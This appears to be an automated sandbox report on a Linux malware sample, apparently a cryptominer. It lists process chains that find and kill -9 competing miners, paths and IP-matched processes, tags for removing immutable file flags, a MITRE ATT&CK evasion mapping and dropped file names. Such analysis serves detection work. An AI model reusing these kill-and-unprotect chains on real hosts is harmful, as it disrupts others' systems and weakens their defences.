/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep /tmp/dl2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep /tmp/ddg2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Reads runtime system information
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep /tmp/pprt2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep /tmp/ppol2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep "/tmp/65ccE*"2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep "/tmp/jmx*"2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep "/tmp/2Ne80*"2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep IOFoqIgyC0zmf2UR2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads runtime system information
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep 45.76.122.922⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads runtime system information
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep 51.38.191.1782⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep 51.15.56.1612⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Reads runtime system information
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep C4iLM4L2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Reads runtime system information
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep /boot/vmlinuz2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads runtime system information
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep i4b503a52cc52⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads runtime system information
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep 2g0uv7npuhrlatd2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep nqscheduler2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep httpgd2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Reads CPU attributes
-
-
/bin/psps aux2⤵
- Discovers running processes
-
-
/bin/grepgrep rsync2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep watchd0g2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/bin/psps aux2⤵
- Discovers running processes
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/bin/egrepegrep "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵
-
-
/usr/local/sbin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵
-
-
/usr/local/bin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵
-
-
/usr/sbin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵
-
-
/usr/bin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵
-
-
/sbin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵
-
-
/bin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep /tmp/java2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads runtime system information
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep gitee.com2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads runtime system information
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep /tmp/java2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep 104.248.4.1622⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep 89.35.39.782⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep /dev/shm/z3.sh2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep kthrotlds2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep ksoftirqds2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep netdns2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep watchdogs2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep httpgd2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Reads runtime system information
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep kdevtmpfsi2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep kinsing2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep redis22⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/bin/grepgrep " ps"2⤵
-
-
/bin/grepgrep -v aux2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/bin/grepgrep sync_supers2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads runtime system information
-
-
/usr/bin/cutcut -c 9-152⤵
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/cutcut -c 9-152⤵
-
-
/bin/grepgrep cpuset2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads runtime system information
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep "x]"2⤵
-
-
/bin/grepgrep -v aux2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep "sh] <"2⤵
-
-
/bin/grepgrep -v aux2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Reads CPU attributes
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep " \\[]"2⤵
-
-
/bin/grepgrep -v aux2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep /tmp/l.sh2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads runtime system information
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep /tmp/zmcat2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep hahwNEdB2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Reads CPU attributes
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep CnzFVPLF2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep CvKzzZLs2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep /tmp/udevd2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep sustse2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads runtime system information
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep sustse32⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Reads runtime system information
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep wget2⤵
-
-
/bin/grepgrep mr.sh2⤵
-
-
/bin/grepgrep -v grep2⤵
-
Network
MITRE ATT&CK Enterprise v16
Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Impair Defenses
3Disable or Modify System Firewall
1Disable or Modify Tools
2Replay Monitor
Loading Replay Monitor...
Downloads
.log_707.gz
idle
javab
ksmd
sedwtCr7Z
ip6network
irqbalanced
kswaped
pamdicks
rctlcli
systemd-network
tmp.FOwoXb
tmp.c0FT5y